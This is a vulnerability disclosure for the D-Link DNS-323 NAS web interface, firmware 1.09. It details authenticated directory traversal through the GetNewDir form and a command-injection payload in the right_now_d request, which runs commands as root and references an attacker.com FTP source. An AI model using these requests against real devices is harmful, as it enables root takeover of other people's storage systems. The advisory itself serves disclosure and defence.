D-Link DNS-323 – Multiple Vulnerabilities
############################################################################### # Exploit Title: D-Link DNS-323 Multiple Vulnerabilities # Author: sghctoma # E-mail: tamas.szakaly@praudit.hu # Category: Hardware # Vendor: http://www.dlink.com/ # Firmware Version: 1.09 # Product: http://www.dlink.com/us/en/support/product/dns-323-1tb-sharecenter-2-bay-network-storage-sata-raid-0-1-usb-print-server ############################################################################### .intro ====== DNS-323 is a NAS product from D-Link with a web GUI. The GUI is vulnerable to multiple attacks described below. Both vulns are inthe "SCHEDULE DOWNLOAD" page, and both require authentication. However a normal user is enough, no need for admin. .vulnerabilites =============== .arbitrary file upload ---------------------- When one clicks in the "Save To" textbox or the "Browse" button, a popup appears with the directories on the "Volume_1" share. When one clicks the "+" sign to open a directory, a POST request is sent to /goform/GetNewDir with the following parameters: fNEW_DIR /mnt/Volume_1 f_backup 0 f_IP_address <ip address of NAS> f_file 0 A directory traversal is possible via the fNEW_DIR variable, and we can browse not only the directories, but the files too with setting f_file to "1". So, for example with the following params one can browse /: fNEW_DIR /mnt/Volume_1/../../ f_backup 0 f_IP_address <ip address of NAS> f_file 1 So, this way we can browse the entire directory tree, and we can schedule a download to wherever we want. (e.g. overwrite /etc/shadow - oh, yes, we are doing everything as root, btw.) .OS command execution --------------------- When one clicks the "play button" on a scheduled download, a POST request is sent to /goform/right_now_d with the following parameter: T1 <at job id>,SCHEDULE<num>,<user>,<source>,<destination>,<num> SCHEDULE<num> is injectable, so for example setting T1 to the following writes the output of the "id" command to a web accessible file: 11,SCHEDULE13 && id > /web/path/id.txt,dns323,ftp://attacker.com/dummy.txt,/Volume_1/Public,1 After such query we can visit <NAS address>/web/path/id.txt, and we will see the following content: uid=0(root) gid=0(root) ############################################################################### Screenshots and a write-up of these vulns in Hungarian is available at the following URL: http://praudit.hu/index.php/blog/nassoljunk |